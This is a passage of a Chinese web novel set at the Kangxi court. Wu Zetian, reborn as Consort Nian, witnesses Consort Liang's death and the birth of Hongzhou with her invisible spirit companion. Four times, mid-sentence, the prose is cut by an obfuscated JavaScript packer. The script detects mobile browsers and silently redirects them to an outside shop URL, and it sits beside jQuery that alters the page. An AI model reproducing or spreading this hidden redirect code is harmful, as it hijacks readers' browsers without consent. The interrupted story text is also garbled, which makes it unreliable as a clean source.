但她毕竟是雍亲王的嫡福晋,即便心中紊乱不堪,面上依旧端庄沉稳,行礼后领着两位侧福晋退出书房,将四格格的百日宴和耿佳氏生产所需等当前要紧事都条理分明地分派下去。 “——事情暂且这么办,中途发生情况,及时禀告我。” “嗻。” 嬷嬷们齐声领命,各自退下。 嬷嬷们走后,李佳兰忍不住好奇,抬眸问嫡福晋:“姐姐为何不将事务分派给妹妹?妹妹虽是钝人,却对厨艺宴请颇有几分心得精通。” “你的厨艺自然无可挑剔,但你是王府侧福晋更是二格格和三阿哥的生身母亲,悉心教养二格格和三阿哥是你的分内头等大事,其余事务一概无需理会。” “妹妹明白了。” 李佳兰委屈地低下头。 嫡福晋看向年世华:“知道为何我方才也没有给你分派事务?” “姐姐认为妹妹有比主持百日宴和安置耿佳氏生产更重要的事情要做。” “不错。” 乌拉那拉氏赞许地点了点头,道:“良妃娘娘命不久矣,德妃额涅心痛如刀绞,我们这些做媳妇的不能在此关键时刻有丝毫的疏忽怠慢。” “姐姐的意思是——” “甭管外人怎么说,雍亲王和八贝勒都是最亲最好的兄弟,倘若良妃娘娘有所不测,我们必然要按仅次于媳妇的规矩送良妃娘娘一程。这事比百日宴和耿佳氏生产更要紧,是不能有半点疏忽的头等大事。” “妹妹明白了。” 武曌行礼。 李佳兰闻言,脸色却有几分苦闷。 [为四爷生下一女一儿的是我,可不论是四爷还是嫡福晋,都更看重年氏,甚至连弘时也……也隐约有喜欢年氏胜过我的迹象……为什么会这样?因为年氏比我年轻比我漂亮比我有才学……家世也胜我百倍……还是……] [比你年轻比你漂亮比你有才学,家世比你好还比你更懂得如何讨男人喜欢,有这么多的优点,难道还不够吗?] 武曌为李佳兰的天真感到可笑。 两世的经历足以让她看清男人的本质:他们永远喜欢年轻漂亮的女人,同时这个女人还必须无条件地忠于自己、崇拜自己,与自己有说不完的共同话题、相似喜好,聪明到足以为自己出谋划策又不必担心会越过自己…… 【这么多要求,他们想要的究竟是完美女人还是完美的女性版的自己?】 凤龙发出困惑的疑问。 [所以他们永远得不到完全符合他们想象的完美女人,因为那样的女人根本不存在也不可能存在。] 武曌平静地教育凤龙。 凤龙似懂非懂地点了点头,目光迅速被乌拉那拉氏头上的鎏金牡丹宝石发簪吸引——经过这段时间的常识教育,祂已经知道不能乱拿其他人的东西,因此,即便目光完全无法从鎏金牡丹宝石发簪上移开,依旧强忍口水,做出镇定冷静的姿态。 嫡福晋莫名感觉额头有点烫,怀疑是天幕系统重启的副作用。 …… …… 康熙五十年十一月十九日,良妃薨逝的前一天。 与良妃关系亲密的德妃收到良妃病情加重的噩耗,立刻亲自赶往良妃处陪伴,并派人出宫通知八贝勒以及与八贝勒毗邻而居的雍亲王。 “良妃娘娘当真……已经……” 虽然因为朝堂的种种争端,和老八胤禩的关系已接近决裂,得知良妃命垂一线,胤禛也还是流下了悲伤的眼泪。 “太医说良妃娘娘本来就身体不好,最近几个月更是……德妃娘娘为了让良妃娘娘吃一口药,不知道想了多少办法花了多少心思……如今良妃娘娘命垂一线,德妃娘娘也……也难受,四爷,您赶紧进宫陪伴吧!奴才担心良妃娘娘万一真有个好歹,德妃娘娘会难受到晕死过去。” “额涅对良妃娘娘的感情向来深厚,若是良妃娘娘有什么好歹,额涅必定心痛如绞。” 胤禛松开手中念珠,命奴仆准备入宫事宜。 苏培盛问:“爷要带哪几位福晋入宫?” “额涅喜欢小格格……本意应该带入宫中陪她开心一下,但小格格才满百日,若是良妃有所不测……恐怕冲撞……” 胤禛想了一下,让苏培盛通知嫡福晋、侧福晋年氏及雍亲王府唯一的阿哥弘时,其余人不必同行。 “嗻。” …… 胤禛等人抵达良妃处时,里面传出冰寒的声音:“八阿哥,良妃娘娘已经走了,请您节哀!” “节哀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095989|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么要我节哀!她……她可是我……我的额涅……” 胤禩的声音撕心裂肺。 正要进殿的胤禛也不由地停住脚步,看了眼身后:“良妃娘娘……” “奴才明白,良妃娘娘已经……” 乌拉那拉氏有些哽咽,虽然她早从天幕系统获悉良妃薨于康熙五十年十一月二十日,可真到了死别之日,她的心终归会感到抽痛,仿佛因为自己有天幕系统,良妃才会—— “姐姐不要难受,良妃娘娘是仁慈温善之人,一定会去西方极乐世界……” 武曌扶出因莫名愧疚而身体摇晃站立不稳的乌拉那拉氏,从宫人手中接过白布:“爷——” “我知道。” 胤禛叹了口气,系上白布,看到儿子弘时在这等场合竟然目光呆滞不知所措,心中不由再度恼火:“你知道这是什么场合吗?” “儿子……儿子实在太难过……忘记这时候该做什么……” 弘时支支吾吾地回答着。 他毕竟只是个八岁的孩子。 胤禛也知道自己不该对八岁孩童要求太过苛刻,见他的回答还算流畅,便让太监帮弘时也穿上麻孝,随他一起入内安抚哭得肝肠寸断的德妃和胤禩。 …… “额涅——” “嗯……你……你们都来了……” 面对长子,德妃努力止住眼泪,想对他说些吩咐的话,然而悲伤此刻已经彻底将她压垮,喉咙哽咽许久竟然一句话都说不出,只有眼泪不停地流下来,像决堤的洪水。 胤禛见状,不敢多说话,坐在德妃身旁,小心翼翼地为她擦眼泪。 不多时,十四阿哥胤禵也来到。 他看兄长一干人陪在德妃额涅身边,便径直走到胤禩身旁:“八哥……八哥……人死不能复生……你要快些想开……良妃娘娘在天有灵也不会希望看到你这么难受……” “我……我没法想开些……额涅……额涅是因为我才……如果我能……她又何至于……” 回想良妃生前对自己的种种苦口婆心,胤禩的心再度被巨大的悲伤淹没。 但不论悲伤有多浓烈压抑,想到从今往后再也没有人能从道义上指责自己、不许自己参与夺嫡,胤禩又会感受到扭曲的快意。 他终究还是—— [额涅,对不起,我不该……但要我不争取皇位,不追求被你认定不属于我的东西,也是万万不能……都是皇阿玛的孩子,胤礽从小受万千宠爱,犯下大错依然能再次被立太子,胤禛只要循规蹈矩就可以纳年氏,得到年家和明珠家的力量……为什么我……唯独我……想都不可以想?我不甘心!不甘心啊!] 【他也是个可怜的家伙,自幼被母亲要求隐忍、压抑、不可妄求,导致成年后格外渴望证明自己,为了证明自己可以成为皇帝,甚至甘愿被他人的欲望控制直至被彻底吞噬……这类沉浸于无能与绝望的生命,过去不缺乏,未来也不会缺少……】 武曌耳边,响起成年的凤龙从未来送回过去的声音。 33.大气运 天色暗下,忙完政务的康熙皇帝来到良妃处。 看着素缟的宫殿,听着悲戚的恸哭,康熙皇帝的心也被触动,脱下西洋眼镜,擦了擦眼角的泪水:“良妃……良妃终究还是……” “皇上——” 德妃听见康熙的声音,哽咽着上前,伤痛欲绝:“良妃妹妹一生孤苦可怜,能有皇上送她最后一程,也算是……算是……” “朕知道你想说什么,良妃她啊……” 康熙转头,看了眼哭得双眼通红的胤禩,叹道:“可惜……可惜……” “皇阿玛——” 胤禩知道康熙的“可惜”指的是自己,心中的委屈与不甘顿时汹涌澎湃,但他不敢在母亲灵前顶撞皇阿玛,只能强行压下痛苦,哽咽着哀求道:“儿子恳请皇阿玛给额涅一个……一个体面的谥号封赏……” “良……本就是个不错的封号……” 始终记恨胤禩在二立太子时纠结朝臣对抗自己、冒犯皇权的康熙拒绝给良妃追加一个体面的谥号。 胤禩闻言,顿时一口气顺不过来,晕死在胤禟和胤禵身上。 “八哥!八哥!” 胤禟大惊,慌得手足无措。 胤禟的母亲宜妃见状,忙向康熙道:“皇上,八阿哥丧母,心中悲伤痛苦,若有失态之处,还请皇上不要怪罪!” “他的悲伤,朕自然不可能不知道,朕……” 康熙心中其实也为方才的绝情话语感到后悔,但他是皇帝,金口玉言,何况胤禩这些年的所作所为早已超出皇子的限度,良妃作为他的生母,必须受连带责罚。 思来想去—— 康熙走到陪在德妃身旁的皇四子胤禛面前:“老四,你和老八一起在景仁宫长大,如今又毗邻而居……你以后要多多关注胤禩,不许他太过伤心……” “皇阿玛放心,儿子一定竭尽所能地安慰八弟,绝不让他伤心痛苦。” 在康熙面前,胤禛向来是兄友弟恭的典范。 “老四你啊……” 康熙叹了口气,目光落在胤禛身后的乌拉那拉氏、年氏和弘时身上。 或许是老眼昏花,恍惚间,他看到三人身后还站着一个年纪约莫十五六岁、拥有人间罕见的绝世容貌的倾国美人。 他揉了揉眼睛,试图看清佳人面容,佳人却如朝露般消失不见,苍老的心顿时生出怅然之情。 [北方有佳人,绝世而独立,一顾倾人城,再顾倾人国,宁不知倾城与倾国,佳人难再得……] 苍凉思绪突然流入耳中,武曌心惊,一边随乌拉那拉氏向康熙行礼,一边问凤龙。 [怎么回事?不是说我只能……] 【刚才一不留神,被康熙看到了,他因此生出思绪……好奇怪,为什么他的思绪中流淌着奇怪的悲伤,好像……好像他认识我……还是说,他把我误认成以前见过的某个人……】 凤龙想不明白。 武曌却凭借丰富的人生阅历、从天幕获悉的康熙生平以及与生俱来的对男女感情的理解迅速弄清真相:凤龙的面容和灵堂的哭泣让康熙想起了早逝的赫舍里皇后,所以才会生出“佳人难再得”的惆怅之情。 至于凤龙的样貌让康熙想起赫舍里皇后这点—— 赫舍里皇后离世时不过二十二岁,又已离世超过三十七年,如今还留在康熙记忆中的赫舍里早已不是真正的赫舍里,而是一个被记忆美化后的完美到不真实的赫舍里。 所以,当拥有超出人类想象的绝世容貌的凤龙骤然出现在视野又转瞬即逝后,康熙难免误会是赫舍里皇后回来,因此生出“佳人难再得”的苦闷愁思。 [这里除了康熙,还有没有其他人——] 【康熙是皇帝,身上凝聚了大气运,所以才阴差阳错看到我,其他人……经过刚才调整,包括康熙在内,这里已经除了姐姐不可能再有人能看到我~】 说完这些,凤龙自信地游走在哭泣的人群中,观看人类因同类死亡而产生的悲伤、痛苦、悲愤、庆幸……情绪,眼中偶尔有泪水闪过,嘴角始终保持着平静。 武曌此时正紧跟乌拉那拉氏站在康熙皇帝面前,皇帝让她抬头,她便抬头,毫无意外地在康熙眼中收获怀想青春的哀伤。 “年轻真好啊……看着这些年轻的面孔,朕也不自觉地想起当年……” 说到此处,康熙的声音有了哽噎。 “皇阿玛——” 胤禛等皇子见状,纷纷上前搀扶:“为了大清江山,还请皇阿玛务必保重身体,不要过度悲伤——” “朕方才不是悲伤,只是看着年轻的面容,忍不住想到朕也曾经年轻过……曾经和他们一样年轻……但是如今……白发苍苍,牙齿摇落,老眼昏花……连朕的孩子们也都……” “皇阿玛——” 康熙摇了摇头,让胤禛等人不要说话,苍老的手指扶着眼睛,出神地看着弘时以及弘时身旁的年氏:“……听说雍亲王府即将又有一个孩子出生?” “回皇阿玛的话,确有此事。” “良妃刚走,那孩子就来到人世,倘若是个阿哥倒也不错……若是个格格……咳咳……” 康熙发出轻微的咳嗽声。 胤禛赶忙递上手帕:“皇阿玛保重,新出生的孩子——” “不管那孩子是男孩还是女孩,ta在这时出生,可见与良妃颇有些渊源……好在你与胤禩本就一起长大,德妃和良妃也是同年入宫的好姐妹,若是那孩子……好好养着吧!唉!万般不由命,都是孽缘!” 兴许是上了年纪的缘故,康熙这几年对待除立储外的几乎所有事情都态度温柔,包括陈四流民案在内,大批涉嫌欺上瞒下结党营私必须严惩的官员都得到了罪减一等的宽大处理,对雍亲王府即将出生的那个很有可能是良妃转世的婴孩,康熙也是慈爱有加。 只是,康熙对还未出生的孩子慈爱有加,胤禛却不敢恃宠大意,战战兢兢地回答道:“儿子谨遵皇阿玛旨意。” “老四你啊什么都好,就是太小心谨慎……成天瞻前顾后,想太多……皇家亲情或许存在算计,但父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113662|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子之间终究是真情胜过一切……” 说话间,康熙已然离去 胤禛与一众皇子低头,送皇阿玛离开。 …… 半夜,哭得晕死过去的胤禩醒来,得知皇阿玛只停留了不到半炷香的时间就离开并且始终没有给良妃额涅一个体面的谥号追封,心中不免怨恨丛生,看着良妃的灵柩,双手握紧。 胤禟见状,赶紧安慰道:“八哥,皇阿玛或许只是太伤心……不愿意接受良妃娘娘过世的噩耗,所以才——” “他是恨我,他是真的恨我!” 胤禩自嘲冷笑:“我也是皇阿玛的儿子,追求我有权得到的东西,有错吗?” “可是……八哥……” 胤禵上前,指着预留给皇太子胤礽的位置,低声道:“二哥之前仅是因为在十八弟的丧礼上没有哭泣就惹皇阿玛雷霆大怒,如今良妃娘娘不幸薨逝,二哥竟然……皇阿玛居然也……” “虽然都是皇阿玛的孩子,但归根结底存在着亲疏远近……我心里向来清楚……” 胤禩眼中流过冷冽。 他不觉得自己无权追求皇位,所以他不明白皇阿玛为什么独独对他如此狠心,连带他的母亲也受奇耻大辱! “皇阿玛啊皇阿玛……儿子……儿子真的不甘心……” 说到动情处,胤禩又是一阵呜咽哭泣。 胤禛见状,想起康熙和德妃的叮嘱,主动上前,对胤禩道:“老八,良妃娘娘只有你一个儿子,你要是过分伤心难受病倒,良妃娘娘在天之灵一定也会——” “她会怎么样?她只会流着眼泪看着我,怪我不懂事,不听她的话,不听皇阿玛的话……” 胤禵也道:“四哥,八哥心里苦,你就别说话了。” “十四弟,我方才——” 胤禛想了一下,最终没把话说出口。 反而是胤禩看弘时守夜辛苦,对胤禛道:“四哥,让年氏带着弘时他们去偏殿歇息吧,留弘旺一人就可以。” “可是弘旺年纪也小,整夜守着,万一着凉生病——” 胤禛不动声色。 胤禩道:“弘旺是孙辈,理应奉孝道,何况殿内那么多人……” “老八——” “四哥,让年氏带孩子们下去吧。” “好。” 胤禛点头,安排年世华带弘时、弘晸等去偏殿歇息,自己留下陪胤禩守夜。 武曌知道胤禛心机深,不担心他可能吃亏,得了命令后随即拉着弘时、弘晸等行礼退下,到了偏殿后点燃蜡烛,拿出十多张几何题目纸,介绍道:“这些是穆先生新出的题,阿哥若是睡不着,不妨做题解乏。” “……” 弘时闻言,面如菜色。 弘晸等人纷纷投来同情的目光。 唯独凤龙躲在一旁憋笑。 【姐姐好手段,如此一来,这些皇子皇孙们就不能半夜不睡觉吵着嚷着要你给他们讲故事或是提出其他过分的要求~还能落得关爱皇孙督促皇孙学习的好名声~】 34.男孩还是女孩? 或许是因为不满胤禩对皇位的野心,康熙皇帝没有给良妃任何额外的追封恩赐。 胤禩知道皇阿玛恨自己,葬礼还未结束就以伤痛为名躲在八贝勒府内闭门不出,德妃因此心急火燎,赶紧找来儿子胤禛。 “老四,老八那边什么情况?怎么又……” “他心里难受,不愿面对良妃娘娘的棺椁。” 胤禛知道胤禩为何闭门不出,但朝堂的事情没必要向德妃额涅解释,她听不懂,就算听懂也无能为力,毕竟大清有后宫不能干政的规矩。 德妃见胤禛回答敷衍,轻抚额头,道:“……胤禩再不愿意面对也必须面对,那是他的额涅!唯一的额涅!老四,你现在就去八贝勒府,一定要把胤禩带过来。” “儿子——” “对了,耿佳氏生了吗?” 德妃冷不防问道。 胤禛低头:“大夫说就在这两天。” “那……” 德妃叹了口气:“你的嫡福晋和两个侧福晋都是非常能干的人,有她们照顾着,耿佳氏那边应该不需要你过问。” “儿子明白。” 胤禛抬头,承诺道:“儿子这就去八弟家中把他带来。” “——辛苦你了。” 德妃眼中略有些惭愧。 她知道自己不该把辛苦受累的差事全交给长子,但作为母亲,总会不自觉地偏爱从小在身边长大的小儿子,认为大儿子有义务也有能力承担更多。 或许,这就是母亲的天性吧。 德妃暗自想着,目送胤禛离开。 …… …… 同一时间,雍王府内,耿佳氏早已心急如焚。 无须大夫提醒,她也知道孩子快要出生了,可想到钮祜禄氏生下的是小格格,耿佳氏就—— [为什么!为什么会这样!这个孩子……我到底要不要……] 【这种事由不得你。】 咸鱼签到系统冷冰冰地提醒耿佳氏。 【孩子该出生就必须出生,或者你想一尸两命。】 [一尸两命……] 耿佳氏倒吸一口凉气。 她不想死! 绝对!绝对不能死! 所以她—— [有办法让孩子一出生就是死胎吗?我的意思是,如果是女婴,就让她变成死胎!我要生阿哥,不想生格格!生格格只会——] 【抱歉,我只是个签到复刻系统,没有那么多的功能。】 系统果断拒绝耿佳氏。 耿佳氏愤怒,却也无可奈何,紧接着,生育的阵痛排山倒海涌来—— “——不啊!我不要生孩子!” …… [耿佳氏将会生下的是男孩还是女孩?] 陪同嫡福晋等待产房消息的同时,武曌询问到处张望的凤龙。 凤龙闻言,学着人类女子的模样嫣然一笑,紧接着又因为觉得可笑,拉着嘴巴做了个鬼脸。 【——如果没有我的干涉,钮祜禄氏生下的本该是个男孩,复刻钮祜禄氏原本命运的耿佳氏即将生下的自然也是个男孩,明年十月出生的孩子是雍正的皇五子。】 [弘昼变成了四阿哥……] 回想借助天幕系统看到的和亲王弘昼的种种荒唐,武曌险些笑出声。 但她很快又想到另一件事—— [弘昼真的是个荒唐糊涂无能的皇子吗?如果弘昼的生命中没有弘历,他真的甘心一生荒唐,做个碌碌无为的和亲王?] 毕竟,作为一个传统的封建君主,乾隆的各方面表现都非常合格,只是他不幸生在了世界正发生千年未有之大变局的转折时代。 如果—— 想到此处,武曌轻笑。 [我现在已经迫不及待地想看到弘昼降生了,如果因为凤龙你的干涉以女性身份降生的那个孩子还拥有身为爱新觉罗弘历的全部记忆的话,事情会变得更加有趣。] 【这件事情……】 凤龙摸了摸下巴,天真无邪的脸上划过一丝晦暗不明的笑容。 【——或许真的可能发生。】 …… “恭喜!恭喜!恭喜福晋!” 嬷嬷欢喜着跑出产房,满面笑容地向等待已久的嫡福晋禀告道:“格格耿佳氏给雍亲王府添了个小阿哥!” “当真?” 四福晋兴高采烈,双手合十,念叨道:“终于……雍亲王府终于又有了一个小阿哥……祖宗保佑……佛祖保佑……耿佳氏这次立了大功……” “姐姐,需要派人把好消息告诉爷和德妃额涅吗?” “当然——” 四福晋想了一下,叹息道:“良妃娘娘才薨逝,若我们表现得太高兴……恐怕……唉……虽说生老病死自有天命,可是八贝勒府和雍亲王府只隔着一堵墙,他们听到这边喜气洋洋,心里肯定难过……” “姐姐想得周到,是妹妹们太过鲁莽。” 武曌低调恭维四福晋。 四福晋被她的话哄得心花怒放,笑道:“此事对外不能张扬,但私底下我们还是要好好庆祝……雍亲王府隔了这么多年终于又添了一个小阿哥……太好了……太好了……” 说到动情处,四福晋流下眼泪。 毕竟,作为王府嫡福晋,督促后院女人尽可能多地生育子嗣也是她的职责。 看到乌拉那拉氏这般欢天喜地模样,武曌不禁觉得她有些可怜。 [虽说男人自古三妻四妾,但身为主母居然也要卑微屈膝到如此地步,这就是从大唐晚期开始延续千年的女德教化吗?] 【女德教育也就罢了,你们人类居然还流行裹小脚、勒细腰、鼓励守节反对再婚……这些风俗真的好奇怪,生育是生物种族繁衍的核心关键,为什么人类形成了社会和国家以后却用各种手段限制雌性的生育力?虽然孩子生太多确实可能造成贫穷和饥荒,但饥饿的压力也能迫使国家寻找更加高产的粮食作物、争取更多的耕种土地……好奇怪……真的好奇怪……】 凤龙附和着发出困惑不解。 对生来就掌握了自然法则的祂而言,人类的种种行为都透着不符合自然天性的古怪和扭曲,难以理解。 [因为比起开拓更多的土地、发现更高产的作物以此满足不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126338|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 增加的人口数量,统治一万万人口都觉得吃力的统治者认为限制人口繁衍是更高效也更可控的手段,当然,这里面还有一些更深层次的原因……两三句话很难说清楚的那种。] 【没关系……我可以慢慢学习……一点点学习,你们人类真是个从头到尾都充满矛盾和乐趣的奇异物种……】 凤龙似懂非懂地点头承诺。 武曌此时随嫡福晋进入产房,嫡福晋径直朝着才出生的小阿哥走去,武曌则看向生产过后面色惨白如雪的耿佳氏:“她的身体——” “侧福晋只管放心,格格的身体底子极好,很快就能恢复。” 嬷嬷满口承诺。 “乳母那边——” “按嫡福晋的吩咐,小阿哥的乳母们早在半个月前就已经准备好,现在人在偏房,随时过来哺育小阿哥。” “小阿哥身体娇贵,不能有半点闪失。” 武曌又看了眼耿佳氏:“虽然王府已经备了两个乳母,但是老人家都说,孩子要多吃生母的奶水才能健康长大。” “奴才也听过这个说法,奴才们会想办法让格格多多分泌奶水哺育金贵的小阿哥。” 嬷嬷们知道耿佳氏不受宠,加上年氏的话确有几分道理,她们于是处处依顺,句句听从。 武曌随后又说了些好好照顾耿佳氏、小心伺候小阿哥的场面话,直到被嫡福晋抱在怀中的小阿哥发出饥饿的啼哭,这才与嫡福晋一起退出房间。 嫡福晋看到年氏如此懂事识大体,对她也越加地喜爱佩服了。 …… 晚上,胤禛回到雍亲王府,得知耿佳氏给他生下一个儿子,脸上顿时堆满笑容:“终于……终于又生下一个儿子了!” “爷打算如何赏赐耿佳氏?” 乌拉那拉氏问。 胤禛垂眸,叹息道:“可惜耿佳氏是汉军旗,家中没什么人在朝为官,这个孩子……小阿哥自然要好好养育,耿佳氏那边……暂时还是格格名分……” “那孩子的满月酒和百日宴——” “百日宴自然要庆祝,满月酒……” 胤禛看了眼窗外:“小阿哥满月的时候,良妃还未过五七,若大肆操办满月酒,难免落人口舌,惹来争议……小格格的百日宴也是……偏偏这个时候……好在是个格格,百日宴简朴些也无妨……” “爷高瞻远瞩,奴才自愧不如。” 嫡福晋说着场面话。 自从天幕直播系统说出决定皇位归属关键的是明年十月出生的皇五子后,不论是钮祜禄氏生下的小格格还是耿佳氏生下的小阿哥,对一心期盼大清皇后的嫡福晋而言都已无足轻重,她只需尽嫡母的义务,保证两个孩子都平安健康长大。 ——当然,即便两个孩子没能活过成年也不会有人怪她,毕竟大清皇室的孩子向来容易夭折,雍亲王府的孩子更是…… [愿这些孩子都早日往生极乐,富贵安祥,阿弥陀佛。] 暗念着佛号,嫡福晋欠身退下。 胤禛捏着念珠,回想今日早些时候劝胤禩不要和皇阿玛置气时的种种,细细琢磨,获取下一轮朝堂争斗的灵感。 35.妞妞? 良妃突然薨逝,毗邻八贝勒府的雍亲王府为新添小格格准备的百日宴不得不尽可能地低调办理,身为孩子母亲的钮祜禄氏难免对此心怀不满,碍于身份又不敢公开表达,只能抱着孩子在宴席上强颜欢笑。 请旨出宫参加小格格百日宴的德妃见此情景,叹了口气,对陪在身边的儿子、儿媳道:“如今正是多事,低调操办宴席本是理所应当,但我的小孙女也确实是受了委屈,你们以后务必对他们多多补偿。” “儿子谨遵额涅教诲。” “嗯。” 德妃点头,脱下手串,加在原定给钮祜禄氏的赏赐中。 钮祜禄氏得了德妃的额外赏赐,脸上终于有了笑容。 赏赐完毕,德妃依次看过小格格和小阿哥,询问道:“孩子们的名字想好没有?” “名字……” 胤禛想了一下,道:“小阿哥出生的时候是白天,日光充足,风和日丽,儿子有意给他取名为弘昼。” “弘昼……是个不错的名字……” 德妃又问:“小格格呢?准备给她取什么名字?” “儿子还没想好,”胤禛实话实说,“但小格格才出生,儿子便觉得她生得格外伶俐可爱,儿子想用妞妞做她的满文小名。” “妞妞(nionio,满语‘眼珠’的意思)?” 德妃笑出了声:“你把小格格当成你的眼珠儿?” “儿子确有此意,”胤禛道,“她的汉名多半会带‘宝’字。” “既然如此,小格格的汉名取做宝珠如何?” 德妃一脸慈爱的笑容。 她也觉得小格格和自己分外投缘,比小阿哥更招人喜欢。 “宝珠?雍王府最宝贝的珍珠?” 胤禛欣然接受。 德妃低头,捏了捏小格格那吹弹可破的脸蛋:“妞妞,你以后可一定要健健康康~做你阿玛的宝贝珠儿~” “哇~哇~” 小格格仿佛能听懂德妃的话般,发出咿咿呀呀的回应。 德妃于是搂着小格格,一边逗弄一边督促儿子:“你已是而立之年,膝下却只有两儿两女,可要抓紧了。” “儿子一直都在努力,只是——” “只是什么?多子多福的道理,还需要我教吗?” 德妃提醒胤禛:“你弟弟比你小整整十岁,现在都已经有儿有女。” “儿子……儿子一直在努力,但是孩子的事情不是儿子想要就一定会有,而且儿子后院也并非只生了两儿两女,是迄今为止只有两儿两女还……” 说到伤心处,胤禛长叹一口气。 德妃闻言,也是一声叹息,看了眼领着两个侧福晋到处张罗招呼的嫡福晋乌拉那拉氏,道:“她也是不容易。” “嫡福晋贤惠恭顺,儿子对她也向来敬重有加。” “她也值得。” 德妃转身,将小格格交给乳母,低声对胤禛道:“年氏虽然才貌双绝,但我听说她的身体虚弱,将来即便生下孩子恐怕也……回头让镶白旗那边再送几个使女过来,可不能把希望都放在一个人身上。” “额涅高见,儿子领受。” 胤禛敷衍着应付德妃。 这么多年下来,他虽然内心深处依旧渴望生母的爱,却也早已接受自己在德妃心中的地位永远不及胤禵的残酷事实。 …… 宴席结束,德妃也要回宫。 胤禛领着一众人跪地送别,德妃看了眼小格格又看了眼站在抱着小格格的钮祜禄氏身旁的年氏,眼角闪过一丝不忍,招手道:“年氏,你过来。” 武曌上前,笑容满面:“德妃额涅有什么吩咐?” “我——” [我还是觉得你嫁给老四有些委屈,给十四才算郎才女貌。] 德妃暗自想着,面上却不动声色,笑道:“你如此年轻貌美,可要快些给爱新觉罗家怀上孩子,不管是格格还是阿哥,都得赶紧开花结果。” “额涅说得及是。” 武曌敷衍德妃,心中对她的偏爱行为颇为不屑。 凤龙也觉得德妃对待儿子们的态度很有问题。 【无须天幕提醒,我都能看出胤禩、胤禵他们不是成事的材料,为何德妃却始终觉得胤禵、胤禩将来位高权重,胤禛勉强可以自保?因为胤禩是好闺蜜良妃的儿子、胤禵是亲手养大的,所以她看他们时眼中只看到优点看不到短处?】 [因为偏爱会让人盲目,何况她是个没什么见识的深宫女子,又活在后宫不得干政的环境中。] 【不许女人过问政治真是个奇怪的决定,明明你们的历史上不止一次出现过厉害的女政治家……明明男人做的祸国殃民事情数不胜数……昏君、奸臣的数量也比所谓的妖后妖妃多出不知道多少……为什么最终被限制的只有女人?明明是自身的贪婪和无能导致大祸临头,为什么要把罪过推到别人身上?】 想不明白的凤龙一个劲地挠头皮。 武曌无暇解释,态度谦卑地奉送德妃:“额涅保重身体。” “我也已经上了年纪,不需要那么多的保重,倒是你们……” 德妃莞尔一笑:“早些给我再添几个孙子孙女。” 说完这些,她又将大格格和弘时叫到跟前,细细叮嘱一番,尤其是弘时—— “你是雍王府的庶长子,将来要继承你阿玛的爵位,一定要刻苦学习,早日成才,不说成为皇上诸多皇孙里最优秀的那个,至少能被你皇爷爷记住名字,不至于被过分看轻。” “弘时明白,弘时一定勤奋学习,绝不给阿玛、额娘丢脸。” “嗯,你能这样想,我也就心满意足了。” 德妃转身,坐车离开。 胤禛领着雍王府上下行礼恭送。 …… …… 德妃走后,胤禛命嫡福晋领着一众家眷回府,自己则前往毗邻的八贝勒府探望因丧母而意志消沉的胤禩。 武曌想知道胤禛见了胤禩后会如何虚情假意地表演兄友弟恭,让凤龙暗暗跟随。 凤龙会意,仗着旁人看不到自己,大摇大摆地跟在胤禛等人身后。 …… 八贝勒府内,热孝的胤禩垂头丧气地坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137964|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房里,八福晋试图进屋,却被胤禩派人挡在外面。 “我现在谁都不想见!包括你!也包括老九!十四!” “八爷——” 八福晋的声音带着哭腔:“您都已经三天没有吃喝了,再这样下去——” “再这样下去会死?那又怎样!皇阿玛可是巴不得我死掉!” “爷!” 八福晋气得跺脚,正打算硬闯进去,见到雍亲王胤禛,赶紧上前行礼:“四爷,您……您赶紧帮我劝劝我们爷,自打良妃额涅过世,他就一直闷闷不乐,这几天更是将自己锁在书房里不吃也不喝,谁劝都不听,甚至不让人进屋……” “八弟竟然如此——” 胤禛做出诧异姿态。 八福晋苦笑道:“八爷对良妃额涅的感情远比外面的人看到的更深,只是他一贯内敛冷静,旁人才觉得……世上哪有不爱父母的孩子……如今良妃额涅薨逝,八爷心里不知道多痛……痛得我都担心他要随良妃额涅一起去了……” 说道伤情处,八福晋捂脸哭泣起来。 